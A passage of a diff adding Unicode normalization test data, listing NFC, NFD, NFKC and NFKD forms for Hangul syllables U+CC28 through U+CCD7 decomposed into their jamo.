+{ source: [0xCC28], NFC: [0xCC28], NFD: [0x110E, 0x1161], NFKC: [0xCC28], NFKD: [0x110E, 0x1161] },
+{ source: [0xCC29], NFC: [0xCC29], NFD: [0x110E, 0x1161, 0x11A8], NFKC: [0xCC29], NFKD: [0x110E, 0x1161, 0x11A8] },
+{ source: [0xCC2A], NFC: [0xCC2A], NFD: [0x110E, 0x1161, 0x11A9], NFKC: [0xCC2A], NFKD: [0x110E, 0x1161, 0x11A9] },
+{ source: [0xCC2B], NFC: [0xCC2B], NFD: [0x110E, 0x1161, 0x11AA], NFKC: [0xCC2B], NFKD: [0x110E, 0x1161, 0x11AA] },
+{ source: [0xCC2C], NFC: [0xCC2C], NFD: [0x110E, 0x1161, 0x11AB], NFKC: [0xCC2C], NFKD: [0x110E, 0x1161, 0x11AB] },
+{ source: [0xCC2D], NFC: [0xCC2D], NFD: [0x110E, 0x1161, 0x11AC], NFKC: [0xCC2D], NFKD: [0x110E, 0x1161, 0x11AC] },
+{ source: [0xCC2E], NFC: [0xCC2E], NFD: [0x110E, 0x1161, 0x11AD], NFKC: [0xCC2E], NFKD: [0x110E, 0x1161, 0x11AD] },
+{ source: [0xCC2F], NFC: [0xCC2F], NFD: [0x110E, 0x1161, 0x11AE], NFKC: [0xCC2F], NFKD: [0x110E, 0x1161, 0x11AE] },
+{ source: [0xCC30], NFC: [0xCC30], NFD: [0x110E, 0x1161, 0x11AF], NFKC: [0xCC30], NFKD: [0x110E, 0x1161, 0x11AF] },
+{ source: [0xCC31], NFC: [0xCC31], NFD: [0x110E, 0x1161, 0x11B0], NFKC: [0xCC31], NFKD: [0x110E, 0x1161, 0x11B0] },
+{ source: [0xCC32], NFC: [0xCC32], NFD: [0x110E, 0x1161, 0x11B1], NFKC: [0xCC32], NFKD: [0x110E, 0x1161, 0x11B1] },
+{ source: [0xCC33], NFC: [0xCC33], NFD: [0x110E, 0x1161, 0x11B2], NFKC: [0xCC33], NFKD: [0x110E, 0x1161, 0x11B2] },
+{ source: [0xCC34], NFC: [0xCC34], NFD: [0x110E, 0x1161, 0x11B3], NFKC: [0xCC34], NFKD: [0x110E, 0x1161, 0x11B3] },
+{ source: [0xCC35], NFC: [0xCC35], NFD: [0x110E, 0x1161, 0x11B4], NFKC: [0xCC35], NFKD: [0x110E, 0x1161, 0x11B4] },
+{ source: [0xCC36], NFC: [0xCC36], NFD: [0x110E, 0x1161, 0x11B5], NFKC: [0xCC36], NFKD: [0x110E, 0x1161, 0x11B5] },
+{ source: [0xCC37], NFC: [0xCC37], NFD: [0x110E, 0x1161, 0x11B6], NFKC: [0xCC37], NFKD: [0x110E, 0x1161, 0x11B6] },
+{ source: [0xCC38], NFC: [0xCC38], NFD: [0x110E, 0x1161, 0x11B7], NFKC: [0xCC38], NFKD: [0x110E, 0x1161, 0x11B7] },
+{ source: [0xCC39], NFC: [0xCC39], NFD: [0x110E, 0x1161, 0x11B8], NFKC: [0xCC39], NFKD: [0x110E, 0x1161, 0x11B8] },
+{ source: [0xCC3A], NFC: [0xCC3A], NFD: [0x110E, 0x1161, 0x11B9], NFKC: [0xCC3A], NFKD: [0x110E, 0x1161, 0x11B9] },
+{ source: [0xCC3B], NFC: [0xCC3B], NFD: [0x110E, 0x1161, 0x11BA], NFKC: [0xCC3B], NFKD: [0x110E, 0x1161, 0x11BA] },
+{ source: [0xCC3C], NFC: [0xCC3C], NFD: [0x110E, 0x1161, 0x11BB], NFKC: [0xCC3C], NFKD: [0x110E, 0x1161, 0x11BB] },
+{ source: [0xCC3D], NFC: [0xCC3D], NFD: [0x110E, 0x1161, 0x11BC], NFKC: [0xCC3D], NFKD: [0x110E, 0x1161, 0x11BC] },
+{ source: [0xCC3E], NFC: [0xCC3E], NFD: [0x110E, 0x1161, 0x11BD], NFKC: [0xCC3E], NFKD: [0x110E, 0x1161, 0x11BD] },
+{ source: [0xCC3F], NFC: [0xCC3F], NFD: [0x110E, 0x1161, 0x11BE], NFKC: [0xCC3F], NFKD: [0x110E, 0x1161, 0x11BE] },
+{ source: [0xCC40], NFC: [0xCC40], NFD: [0x110E, 0x1161, 0x11BF], NFKC: [0xCC40], NFKD: [0x110E, 0x1161, 0x11BF] },
+{ source: [0xCC41], NFC: [0xCC41], NFD: [0x110E, 0x1161, 0x11C0], NFKC: [0xCC41], NFKD: [0x110E, 0x1161, 0x11C0] },
+{ source: [0xCC42], NFC: [0xCC42], NFD: [0x110E, 0x1161, 0x11C1], NFKC: [0xCC42], NFKD: [0x110E, 0x1161, 0x11C1] },
+{ source: [0xCC43], NFC: [0xCC43], NFD: [0x110E, 0x1161, 0x11C2], NFKC: [0xCC43], NFKD: [0x110E, 0x1161, 0x11C2] },
+{ source: [0xCC44], NFC: [0xCC44], NFD: [0x110E, 0x1162], NFKC: [0xCC44], NFKD: [0x110E, 0x1162] },
+{ source: [0xCC45], NFC: [0xCC45], NFD: [0x110E, 0x1162, 0x11A8], NFKC: [0xCC45], NFKD: [0x110E, 0x1162, 0x11A8] },
+{ source: [0xCC46], NFC: [0xCC46], NFD: [0x110E, 0x1162, 0x11A9], NFKC: [0xCC46], NFKD: [0x110E, 0x1162, 0x11A9] },
+{ source: [0xCC47], NFC: [0xCC47], NFD: [0x110E, 0x1162, 0x11AA], NFKC: [0xCC47], NFKD: [0x110E, 0x1162, 0x11AA] },
+{ source: [0xCC48], NFC: [0xCC48], NFD: [0x110E, 0x1162, 0x11AB], NFKC: [0xCC48], NFKD: [0x110E, 0x1162, 0x11AB] },
+{ source: [0xCC49], NFC: [0xCC49], NFD: [0x110E, 0x1162, 0x11AC], NFKC: [0xCC49], NFKD: [0x110E, 0x1162, 0x11AC] },
+{ source: [0xCC4A], NFC: [0xCC4A], NFD: [0x110E, 0x1162, 0x11AD], NFKC: [0xCC4A], NFKD: [0x110E, 0x1162, 0x11AD] },
+{ source: [0xCC4B], NFC: [0xCC4B], NFD: [0x110E, 0x1162, 0x11AE], NFKC: [0xCC4B], NFKD: [0x110E, 0x1162, 0x11AE] },
+{ source: [0xCC4C], NFC: [0xCC4C], NFD: [0x110E, 0x1162, 0x11AF], NFKC: [0xCC4C], NFKD: [0x110E, 0x1162, 0x11AF] },
+{ source: [0xCC4D], NFC: [0xCC4D], NFD: [0x110E, 0x1162, 0x11B0], NFKC: [0xCC4D], NFKD: [0x110E, 0x1162, 0x11B0] },
+{ source: [0xCC4E], NFC: [0xCC4E], NFD: [0x110E, 0x1162, 0x11B1], NFKC: [0xCC4E], NFKD: [0x110E, 0x1162, 0x11B1] },
+{ source: [0xCC4F], NFC: [0xCC4F], NFD: [0x110E, 0x1162, 0x11B2], NFKC: [0xCC4F], NFKD: [0x110E, 0x1162, 0x11B2] },
+{ source: [0xCC50], NFC: [0xCC50], NFD: [0x110E, 0x1162, 0x11B3], NFKC: [0xCC50], NFKD: [0x110E, 0x1162, 0x11B3] },
+{ source: [0xCC51], NFC: [0xCC51], NFD: [0x110E, 0x1162, 0x11B4], NFKC: [0xCC51], NFKD: [0x110E, 0x1162, 0x11B4] },
+{ source: [0xCC52], NFC: [0xCC52], NFD: [0x110E, 0x1162, 0x11B5], NFKC: [0xCC52], NFKD: [0x110E, 0x1162, 0x11B5] },
+{ source: [0xCC53], NFC: [0xCC53], NFD: [0x110E, 0x1162, 0x11B6], NFKC: [0xCC53], NFKD: [0x110E, 0x1162, 0x11B6] },
+{ source: [0xCC54], NFC: [0xCC54], NFD: [0x110E, 0x1162, 0x11B7], NFKC: [0xCC54], NFKD: [0x110E, 0x1162, 0x11B7] },
+{ source: [0xCC55], NFC: [0xCC55], NFD: [0x110E, 0x1162, 0x11B8], NFKC: [0xCC55], NFKD: [0x110E, 0x1162, 0x11B8] },
+{ source: [0xCC56], NFC: [0xCC56], NFD: [0x110E, 0x1162, 0x11B9], NFKC: [0xCC56], NFKD: [0x110E, 0x1162, 0x11B9] },
+{ source: [0xCC57], NFC: [0xCC57], NFD: [0x110E, 0x1162, 0x11BA], NFKC: [0xCC57], NFKD: [0x110E, 0x1162, 0x11BA] },
+{ source: [0xCC58], NFC: [0xCC58], NFD: [0x110E, 0x1162, 0x11BB], NFKC: [0xCC58], NFKD: [0x110E, 0x1162, 0x11BB] },
+{ source: [0xCC59], NFC: [0xCC59], NFD: [0x110E, 0x1162, 0x11BC], NFKC: [0xCC59], NFKD: [0x110E, 0x1162, 0x11BC] },
+{ source: [0xCC5A], NFC: [0xCC5A], NFD: [0x110E, 0x1162, 0x11BD], NFKC: [0xCC5A], NFKD: [0x110E, 0x1162, 0x11BD] },
+{ source: [0xCC5B], NFC: [0xCC5B], NFD: [0x110E, 0x1162, 0x11BE], NFKC: [0xCC5B], NFKD: [0x110E, 0x1162, 0x11BE] },
+{ source: [0xCC5C], NFC: [0xCC5C], NFD: [0x110E, 0x1162, 0x11BF], NFKC: [0xCC5C], NFKD: [0x110E, 0x1162, 0x11BF] },
+{ source: [0xCC5D], NFC: [0xCC5D], NFD: [0x110E, 0x1162, 0x11C0], NFKC: [0xCC5D], NFKD: [0x110E, 0x1162, 0x11C0] },
+{ source: [0xCC5E], NFC: [0xCC5E], NFD: [0x110E, 0x1162, 0x11C1], NFKC: [0xCC5E], NFKD: [0x110E, 0x1162, 0x11C1] },
+{ source: [0xCC5F], NFC: [0xCC5F], NFD: [0x110E, 0x1162, 0x11C2], NFKC: [0xCC5F], NFKD: [0x110E, 0x1162, 0x11C2] },
+{ source: [0xCC60], NFC: [0xCC60], NFD: [0x110E, 0x1163], NFKC: [0xCC60], NFKD: [0x110E, 0x1163] },
+{ source: [0xCC61], NFC: [0xCC61], NFD: [0x110E, 0x1163, 0x11A8], NFKC: [0xCC61], NFKD: [0x110E, 0x1163, 0x11A8] },
+{ source: [0xCC62], NFC: [0xCC62], NFD: [0x110E, 0x1163, 0x11A9], NFKC: [0xCC62], NFKD: [0x110E, 0x1163, 0x11A9] },
+{ source: [0xCC63], NFC: [0xCC63], NFD: [0x110E, 0x1163, 0x11AA], NFKC: [0xCC63], NFKD: [0x110E, 0x1163, 0x11AA] },
+{ source: [0xCC64], NFC: [0xCC64], NFD: [0x110E, 0x1163, 0x11AB], NFKC: [0xCC64], NFKD: [0x110E, 0x1163, 0x11AB] },
+{ source: [0xCC65], NFC: [0xCC65], NFD: [0x110E, 0x1163, 0x11AC], NFKC: [0xCC65], NFKD: [0x110E, 0x1163, 0x11AC] },
+{ source: [0xCC66], NFC: [0xCC66], NFD: [0x110E, 0x1163, 0x11AD], NFKC: [0xCC66], NFKD: [0x110E, 0x1163, 0x11AD] },
+{ source: [0xCC67], NFC: [0xCC67], NFD: [0x110E, 0x1163, 0x11AE], NFKC: [0xCC67], NFKD: [0x110E, 0x1163, 0x11AE] },
+{ source: [0xCC68], NFC: [0xCC68], NFD: [0x110E, 0x1163, 0x11AF], NFKC: [0xCC68], NFKD: [0x110E, 0x1163, 0x11AF] },
+{ source: [0xCC69], NFC: [0xCC69], NFD: [0x110E, 0x1163, 0x11B0], NFKC: [0xCC69], NFKD: [0x110E, 0x1163, 0x11B0] },
+{ source: [0xCC6A], NFC: [0xCC6A], NFD: [0x110E, 0x1163, 0x11B1], NFKC: [0xCC6A], NFKD: [0x110E, 0x1163, 0x11B1] },
+{ source: [0xCC6B], NFC: [0xCC6B], NFD: [0x110E, 0x1163, 0x11B2], NFKC: [0xCC6B], NFKD: [0x110E, 0x1163, 0x11B2] },
+{ source: [0xCC6C], NFC: [0xCC6C], NFD: [0x110E, 0x1163, 0x11B3], NFKC: [0xCC6C], NFKD: [0x110E, 0x1163, 0x11B3] },
+{ source: [0xCC6D], NFC: [0xCC6D], NFD: [0x110E, 0x1163, 0x11B4], NFKC: [0xCC6D], NFKD: [0x110E, 0x1163, 0x11B4] },
+{ source: [0xCC6E], NFC: [0xCC6E], NFD: [0x110E, 0x1163, 0x11B5], NFKC: [0xCC6E], NFKD: [0x110E, 0x1163, 0x11B5] },
+{ source: [0xCC6F], NFC: [0xCC6F], NFD: [0x110E, 0x1163, 0x11B6], NFKC: [0xCC6F], NFKD: [0x110E, 0x1163, 0x11B6] },
+{ source: [0xCC70], NFC: [0xCC70], NFD: [0x110E, 0x1163, 0x11B7], NFKC: [0xCC70], NFKD: [0x110E, 0x1163, 0x11B7] },
+{ source: [0xCC71], NFC: [0xCC71], NFD: [0x110E, 0x1163, 0x11B8], NFKC: [0xCC71], NFKD: [0x110E, 0x1163, 0x11B8] },
+{ source: [0xCC72], NFC: [0xCC72], NFD: [0x110E, 0x1163, 0x11B9], NFKC: [0xCC72], NFKD: [0x110E, 0x1163, 0x11B9] },
+{ source: [0xCC73], NFC: [0xCC73], NFD: [0x110E, 0x1163, 0x11BA], NFKC: [0xCC73], NFKD: [0x110E, 0x1163, 0x11BA] },
+{ source: [0xCC74], NFC: [0xCC74], NFD: [0x110E, 0x1163, 0x11BB], NFKC: [0xCC74], NFKD: [0x110E, 0x1163, 0x11BB] },
+{ source: [0xCC75], NFC: [0xCC75], NFD: [0x110E, 0x1163, 0x11BC], NFKC: [0xCC75], NFKD: [0x110E, 0x1163, 0x11BC] },
+{ source: [0xCC76], NFC: [0xCC76], NFD: [0x110E, 0x1163, 0x11BD], NFKC: [0xCC76], NFKD: [0x110E, 0x1163, 0x11BD] },
+{ source: [0xCC77], NFC: [0xCC77], NFD: [0x110E, 0x1163, 0x11BE], NFKC: [0xCC77], NFKD: [0x110E, 0x1163, 0x11BE] },
+{ source: [0xCC78], NFC: [0xCC78], NFD: [0x110E, 0x1163, 0x11BF], NFKC: [0xCC78], NFKD: [0x110E, 0x1163, 0x11BF] },
+{ source: [0xCC79], NFC: [0xCC79], NFD: [0x110E, 0x1163, 0x11C0], NFKC: [0xCC79], NFKD: [0x110E, 0x1163, 0x11C0] },
+{ source: [0xCC7A], NFC: [0xCC7A], NFD: [0x110E, 0x1163, 0x11C1], NFKC: [0xCC7A], NFKD: [0x110E, 0x1163, 0x11C1] },
+{ source: [0xCC7B], NFC: [0xCC7B], NFD: [0x110E, 0x1163, 0x11C2], NFKC: [0xCC7B], NFKD: [0x110E, 0x1163, 0x11C2] },
+{ source: [0xCC7C], NFC: [0xCC7C], NFD: [0x110E, 0x1164], NFKC: [0xCC7C], NFKD: [0x110E, 0x1164] },
+{ source: [0xCC7D], NFC: [0xCC7D], NFD: [0x110E, 0x1164, 0x11A8], NFKC: [0xCC7D], NFKD: [0x110E, 0x1164, 0x11A8] },
+{ source: [0xCC7E], NFC: [0xCC7E], NFD: [0x110E, 0x1164, 0x11A9], NFKC: [0xCC7E], NFKD: [0x110E, 0x1164, 0x11A9] },
+{ source: [0xCC7F], NFC: [0xCC7F], NFD: [0x110E, 0x1164, 0x11AA], NFKC: [0xCC7F], NFKD: [0x110E, 0x1164, 0x11AA] },
+{ source: [0xCC80], NFC: [0xCC80], NFD: [0x110E, 0x1164, 0x11AB], NFKC: [0xCC80], NFKD: [0x110E, 0x1164, 0x11AB] },
+{ source: [0xCC81], NFC: [0xCC81], NFD: [0x110E, 0x1164, 0x11AC], NFKC: [0xCC81], NFKD: [0x110E, 0x1164, 0x11AC] },
+{ source: [0xCC82], NFC: [0xCC82], NFD: [0x110E, 0x1164, 0x11AD], NFKC: [0xCC82], NFKD: [0x110E, 0x1164, 0x11AD] },
+{ source: [0xCC83], NFC: [0xCC83], NFD: [0x110E, 0x1164, 0x11AE], NFKC: [0xCC83], NFKD: [0x110E, 0x1164, 0x11AE] },
+{ source: [0xCC84], NFC: [0xCC84], NFD: [0x110E, 0x1164, 0x11AF], NFKC: [0xCC84], NFKD: [0x110E, 0x1164, 0x11AF] },
+{ source: [0xCC85], NFC: [0xCC85], NFD: [0x110E, 0x1164, 0x11B0], NFKC: [0xCC85], NFKD: [0x110E, 0x1164, 0x11B0] },
+{ source: [0xCC86], NFC: [0xCC86], NFD: [0x110E, 0x1164, 0x11B1], NFKC: [0xCC86], NFKD: [0x110E, 0x1164, 0x11B1] },
+{ source: [0xCC87], NFC: [0xCC87], NFD: [0x110E, 0x1164, 0x11B2], NFKC: [0xCC87], NFKD: [0x110E, 0x1164, 0x11B2] },
+{ source: [0xCC88], NFC: [0xCC88], NFD: [0x110E, 0x1164, 0x11B3], NFKC: [0xCC88], NFKD: [0x110E, 0x1164, 0x11B3] },
+{ source: [0xCC89], NFC: [0xCC89], NFD: [0x110E, 0x1164, 0x11B4], NFKC: [0xCC89], NFKD: [0x110E, 0x1164, 0x11B4] },
+{ source: [0xCC8A], NFC: [0xCC8A], NFD: [0x110E, 0x1164, 0x11B5], NFKC: [0xCC8A], NFKD: [0x110E, 0x1164, 0x11B5] },
+{ source: [0xCC8B], NFC: [0xCC8B], NFD: [0x110E, 0x1164, 0x11B6], NFKC: [0xCC8B], NFKD: [0x110E, 0x1164, 0x11B6] },
+{ source: [0xCC8C], NFC: [0xCC8C], NFD: [0x110E, 0x1164, 0x11B7], NFKC: [0xCC8C], NFKD: [0x110E, 0x1164, 0x11B7] },
+{ source: [0xCC8D], NFC: [0xCC8D], NFD: [0x110E, 0x1164, 0x11B8], NFKC: [0xCC8D], NFKD: [0x110E, 0x1164, 0x11B8] },
+{ source: [0xCC8E], NFC: [0xCC8E], NFD: [0x110E, 0x1164, 0x11B9], NFKC: [0xCC8E], NFKD: [0x110E, 0x1164, 0x11B9] },
+{ source: [0xCC8F], NFC: [0xCC8F], NFD: [0x110E, 0x1164, 0x11BA], NFKC: [0xCC8F], NFKD: [0x110E, 0x1164, 0x11BA] },
+{ source: [0xCC90], NFC: [0xCC90], NFD: [0x110E, 0x1164, 0x11BB], NFKC: [0xCC90], NFKD: [0x110E, 0x1164, 0x11BB] },
+{ source: [0xCC91], NFC: [0xCC91], NFD: [0x110E, 0x1164, 0x11BC], NFKC: [0xCC91], NFKD: [0x110E, 0x1164, 0x11BC] },
+{ source: [0xCC92], NFC: [0xCC92], NFD: [0x110E, 0x1164, 0x11BD], NFKC: [0xCC92], NFKD: [0x110E, 0x1164, 0x11BD] },
+{ source: [0xCC93], NFC: [0xCC93], NFD: [0x110E, 0x1164, 0x11BE], NFKC: [0xCC93], NFKD: [0x110E, 0x1164, 0x11BE] },
+{ source: [0xCC94], NFC: [0xCC94], NFD: [0x110E, 0x1164, 0x11BF], NFKC: [0xCC94], NFKD: [0x110E, 0x1164, 0x11BF] },
+{ source: [0xCC95], NFC: [0xCC95], NFD: [0x110E, 0x1164, 0x11C0], NFKC: [0xCC95], NFKD: [0x110E, 0x1164, 0x11C0] },
+{ source: [0xCC96], NFC: [0xCC96], NFD: [0x110E, 0x1164, 0x11C1], NFKC: [0xCC96], NFKD: [0x110E, 0x1164, 0x11C1] },
+{ source: [0xCC97], NFC: [0xCC97], NFD: [0x110E, 0x1164, 0x11C2], NFKC: [0xCC97], NFKD: [0x110E, 0x1164, 0x11C2] },
+{ source: [0xCC98], NFC: [0xCC98], NFD: [0x110E, 0x1165], NFKC: [0xCC98], NFKD: [0x110E, 0x1165] },
+{ source: [0xCC99], NFC: [0xCC99], NFD: [0x110E, 0x1165, 0x11A8], NFKC: [0xCC99], NFKD: [0x110E, 0x1165, 0x11A8] },
+{ source: [0xCC9A], NFC: [0xCC9A], NFD: [0x110E, 0x1165, 0x11A9], NFKC: [0xCC9A], NFKD: [0x110E, 0x1165, 0x11A9] },
+{ source: [0xCC9B], NFC: [0xCC9B], NFD: [0x110E, 0x1165, 0x11AA], NFKC: [0xCC9B], NFKD: [0x110E, 0x1165, 0x11AA] },
+{ source: [0xCC9C], NFC: [0xCC9C], NFD: [0x110E, 0x1165, 0x11AB], NFKC: [0xCC9C], NFKD: [0x110E, 0x1165, 0x11AB] },
+{ source: [0xCC9D], NFC: [0xCC9D], NFD: [0x110E, 0x1165, 0x11AC], NFKC: [0xCC9D], NFKD: [0x110E, 0x1165, 0x11AC] },
+{ source: [0xCC9E], NFC: [0xCC9E], NFD: [0x110E, 0x1165, 0x11AD], NFKC: [0xCC9E], NFKD: [0x110E, 0x1165, 0x11AD] },
+{ source: [0xCC9F], NFC: [0xCC9F], NFD: [0x110E, 0x1165, 0x11AE], NFKC: [0xCC9F], NFKD: [0x110E, 0x1165, 0x11AE] },
+{ source: [0xCCA0], NFC: [0xCCA0], NFD: [0x110E, 0x1165, 0x11AF], NFKC: [0xCCA0], NFKD: [0x110E, 0x1165, 0x11AF] },
+{ source: [0xCCA1], NFC: [0xCCA1], NFD: [0x110E, 0x1165, 0x11B0], NFKC: [0xCCA1], NFKD: [0x110E, 0x1165, 0x11B0] },
+{ source: [0xCCA2], NFC: [0xCCA2], NFD: [0x110E, 0x1165, 0x11B1], NFKC: [0xCCA2], NFKD: [0x110E, 0x1165, 0x11B1] },
+{ source: [0xCCA3], NFC: [0xCCA3], NFD: [0x110E, 0x1165, 0x11B2], NFKC: [0xCCA3], NFKD: [0x110E, 0x1165, 0x11B2] },
+{ source: [0xCCA4], NFC: [0xCCA4], NFD: [0x110E, 0x1165, 0x11B3], NFKC: [0xCCA4], NFKD: [0x110E, 0x1165, 0x11B3] },
+{ source: [0xCCA5], NFC: [0xCCA5], NFD: [0x110E, 0x1165, 0x11B4], NFKC: [0xCCA5], NFKD: [0x110E, 0x1165, 0x11B4] },
+{ source: [0xCCA6], NFC: [0xCCA6], NFD: [0x110E, 0x1165, 0x11B5], NFKC: [0xCCA6], NFKD: [0x110E, 0x1165, 0x11B5] },
+{ source: [0xCCA7], NFC: [0xCCA7], NFD: [0x110E, 0x1165, 0x11B6], NFKC: [0xCCA7], NFKD: [0x110E, 0x1165, 0x11B6] },
+{ source: [0xCCA8], NFC: [0xCCA8], NFD: [0x110E, 0x1165, 0x11B7], NFKC: [0xCCA8], NFKD: [0x110E, 0x1165, 0x11B7] },
+{ source: [0xCCA9], NFC: [0xCCA9], NFD: [0x110E, 0x1165, 0x11B8], NFKC: [0xCCA9], NFKD: [0x110E, 0x1165, 0x11B8] },
+{ source: [0xCCAA], NFC: [0xCCAA], NFD: [0x110E, 0x1165, 0x11B9], NFKC: [0xCCAA], NFKD: [0x110E, 0x1165, 0x11B9] },
+{ source: [0xCCAB], NFC: [0xCCAB], NFD: [0x110E, 0x1165, 0x11BA], NFKC: [0xCCAB], NFKD: [0x110E, 0x1165, 0x11BA] },
+{ source: [0xCCAC], NFC: [0xCCAC], NFD: [0x110E, 0x1165, 0x11BB], NFKC: [0xCCAC], NFKD: [0x110E, 0x1165, 0x11BB] },
+{ source: [0xCCAD], NFC: [0xCCAD], NFD: [0x110E, 0x1165, 0x11BC], NFKC: [0xCCAD], NFKD: [0x110E, 0x1165, 0x11BC] },
+{ source: [0xCCAE], NFC: [0xCCAE], NFD: [0x110E, 0x1165, 0x11BD], NFKC: [0xCCAE], NFKD: [0x110E, 0x1165, 0x11BD] },
+{ source: [0xCCAF], NFC: [0xCCAF], NFD: [0x110E, 0x1165, 0x11BE], NFKC: [0xCCAF], NFKD: [0x110E, 0x1165, 0x11BE] },
+{ source: [0xCCB0], NFC: [0xCCB0], NFD: [0x110E, 0x1165, 0x11BF], NFKC: [0xCCB0], NFKD: [0x110E, 0x1165, 0x11BF] },
+{ source: [0xCCB1], NFC: [0xCCB1], NFD: [0x110E, 0x1165, 0x11C0], NFKC: [0xCCB1], NFKD: [0x110E, 0x1165, 0x11C0] },
+{ source: [0xCCB2], NFC: [0xCCB2], NFD: [0x110E, 0x1165, 0x11C1], NFKC: [0xCCB2], NFKD: [0x110E, 0x1165, 0x11C1] },
+{ source: [0xCCB3], NFC: [0xCCB3], NFD: [0x110E, 0x1165, 0x11C2], NFKC: [0xCCB3], NFKD: [0x110E, 0x1165, 0x11C2] },
+{ source: [0xCCB4], NFC: [0xCCB4], NFD: [0x110E, 0x1166], NFKC: [0xCCB4], NFKD: [0x110E, 0x1166] },
+{ source: [0xCCB5], NFC: [0xCCB5], NFD: [0x110E, 0x1166, 0x11A8], NFKC: [0xCCB5], NFKD: [0x110E, 0x1166, 0x11A8] },
+{ source: [0xCCB6], NFC: [0xCCB6], NFD: [0x110E, 0x1166, 0x11A9], NFKC: [0xCCB6], NFKD: [0x110E, 0x1166, 0x11A9] },
+{ source: [0xCCB7], NFC: [0xCCB7], NFD: [0x110E, 0x1166, 0x11AA], NFKC: [0xCCB7], NFKD: [0x110E, 0x1166, 0x11AA] },
+{ source: [0xCCB8], NFC: [0xCCB8], NFD: [0x110E, 0x1166, 0x11AB], NFKC: [0xCCB8], NFKD: [0x110E, 0x1166, 0x11AB] },
+{ source: [0xCCB9], NFC: [0xCCB9], NFD: [0x110E, 0x1166, 0x11AC], NFKC: [0xCCB9], NFKD: [0x110E, 0x1166, 0x11AC] },
+{ source: [0xCCBA], NFC: [0xCCBA], NFD: [0x110E, 0x1166, 0x11AD], NFKC: [0xCCBA], NFKD: [0x110E, 0x1166, 0x11AD] },
+{ source: [0xCCBB], NFC: [0xCCBB], NFD: [0x110E, 0x1166, 0x11AE], NFKC: [0xCCBB], NFKD: [0x110E, 0x1166, 0x11AE] },
+{ source: [0xCCBC], NFC: [0xCCBC], NFD: [0x110E, 0x1166, 0x11AF], NFKC: [0xCCBC], NFKD: [0x110E, 0x1166, 0x11AF] },
+{ source: [0xCCBD], NFC: [0xCCBD], NFD: [0x110E, 0x1166, 0x11B0], NFKC: [0xCCBD], NFKD: [0x110E, 0x1166, 0x11B0] },
+{ source: [0xCCBE], NFC: [0xCCBE], NFD: [0x110E, 0x1166, 0x11B1], NFKC: [0xCCBE], NFKD: [0x110E, 0x1166, 0x11B1] },
+{ source: [0xCCBF], NFC: [0xCCBF], NFD: [0x110E, 0x1166, 0x11B2], NFKC: [0xCCBF], NFKD: [0x110E, 0x1166, 0x11B2] },
+{ source: [0xCCC0], NFC: [0xCCC0], NFD: [0x110E, 0x1166, 0x11B3], NFKC: [0xCCC0], NFKD: [0x110E, 0x1166, 0x11B3] },
+{ source: [0xCCC1], NFC: [0xCCC1], NFD: [0x110E, 0x1166, 0x11B4], NFKC: [0xCCC1], NFKD: [0x110E, 0x1166, 0x11B4] },
+{ source: [0xCCC2], NFC: [0xCCC2], NFD: [0x110E, 0x1166, 0x11B5], NFKC: [0xCCC2], NFKD: [0x110E, 0x1166, 0x11B5] },
+{ source: [0xCCC3], NFC: [0xCCC3], NFD: [0x110E, 0x1166, 0x11B6], NFKC: [0xCCC3], NFKD: [0x110E, 0x1166, 0x11B6] },
+{ source: [0xCCC4], NFC: [0xCCC4], NFD: [0x110E, 0x1166, 0x11B7], NFKC: [0xCCC4], NFKD: [0x110E, 0x1166, 0x11B7] },
+{ source: [0xCCC5], NFC: [0xCCC5], NFD: [0x110E, 0x1166, 0x11B8], NFKC: [0xCCC5], NFKD: [0x110E, 0x1166, 0x11B8] },
+{ source: [0xCCC6], NFC: [0xCCC6], NFD: [0x110E, 0x1166, 0x11B9], NFKC: [0xCCC6], NFKD: [0x110E, 0x1166, 0x11B9] },
+{ source: [0xCCC7], NFC: [0xCCC7], NFD: [0x110E, 0x1166, 0x11BA], NFKC: [0xCCC7], NFKD: [0x110E, 0x1166, 0x11BA] },
+{ source: [0xCCC8], NFC: [0xCCC8], NFD: [0x110E, 0x1166, 0x11BB], NFKC: [0xCCC8], NFKD: [0x110E, 0x1166, 0x11BB] },
+{ source: [0xCCC9], NFC: [0xCCC9], NFD: [0x110E, 0x1166, 0x11BC], NFKC: [0xCCC9], NFKD: [0x110E, 0x1166, 0x11BC] },
+{ source: [0xCCCA], NFC: [0xCCCA], NFD: [0x110E, 0x1166, 0x11BD], NFKC: [0xCCCA], NFKD: [0x110E, 0x1166, 0x11BD] },
+{ source: [0xCCCB], NFC: [0xCCCB], NFD: [0x110E, 0x1166, 0x11BE], NFKC: [0xCCCB], NFKD: [0x110E, 0x1166, 0x11BE] },
+{ source: [0xCCCC], NFC: [0xCCCC], NFD: [0x110E, 0x1166, 0x11BF], NFKC: [0xCCCC], NFKD: [0x110E, 0x1166, 0x11BF] },
+{ source: [0xCCCD], NFC: [0xCCCD], NFD: [0x110E, 0x1166, 0x11C0], NFKC: [0xCCCD], NFKD: [0x110E, 0x1166, 0x11C0] },
+{ source: [0xCCCE], NFC: [0xCCCE], NFD: [0x110E, 0x1166, 0x11C1], NFKC: [0xCCCE], NFKD: [0x110E, 0x1166, 0x11C1] },
+{ source: [0xCCCF], NFC: [0xCCCF], NFD: [0x110E, 0x1166, 0x11C2], NFKC: [0xCCCF], NFKD: [0x110E, 0x1166, 0x11C2] },
+{ source: [0xCCD0], NFC: [0xCCD0], NFD: [0x110E, 0x1167], NFKC: [0xCCD0], NFKD: [0x110E, 0x1167] },
+{ source: [0xCCD1], NFC: [0xCCD1], NFD: [0x110E, 0x1167, 0x11A8], NFKC: [0xCCD1], NFKD: [0x110E, 0x1167, 0x11A8] },
+{ source: [0xCCD2], NFC: [0xCCD2], NFD: [0x110E, 0x1167, 0x11A9], NFKC: [0xCCD2], NFKD: [0x110E, 0x1167, 0x11A9] },
+{ source: [0xCCD3], NFC: [0xCCD3], NFD: [0x110E, 0x1167, 0x11AA], NFKC: [0xCCD3], NFKD: [0x110E, 0x1167, 0x11AA] },
+{ source: [0xCCD4], NFC: [0xCCD4], NFD: [0x110E, 0x1167, 0x11AB], NFKC: [0xCCD4], NFKD: [0x110E, 0x1167, 0x11AB] },
+{ source: [0xCCD5], NFC: [0xCCD5], NFD: [0x110E, 0x1167, 0x11AC], NFKC: [0xCCD5], NFKD: [0x110E, 0x1167, 0x11AC] },
+{ source: [0xCCD6], NFC: [0xCCD6], NFD: [0x110E, 0x1167, 0x11AD], NFKC: [0xCCD6], NFKD: [0x110E, 0x1167, 0x11AD] },
+{ source: [0xCCD7], NFC: [0xCCD7], NFD: [0x110E, 0x1167, 0x11AE], NFKC: [0xCCD7], NFKD: [0x110E, 0x1167, 0x11AE] },
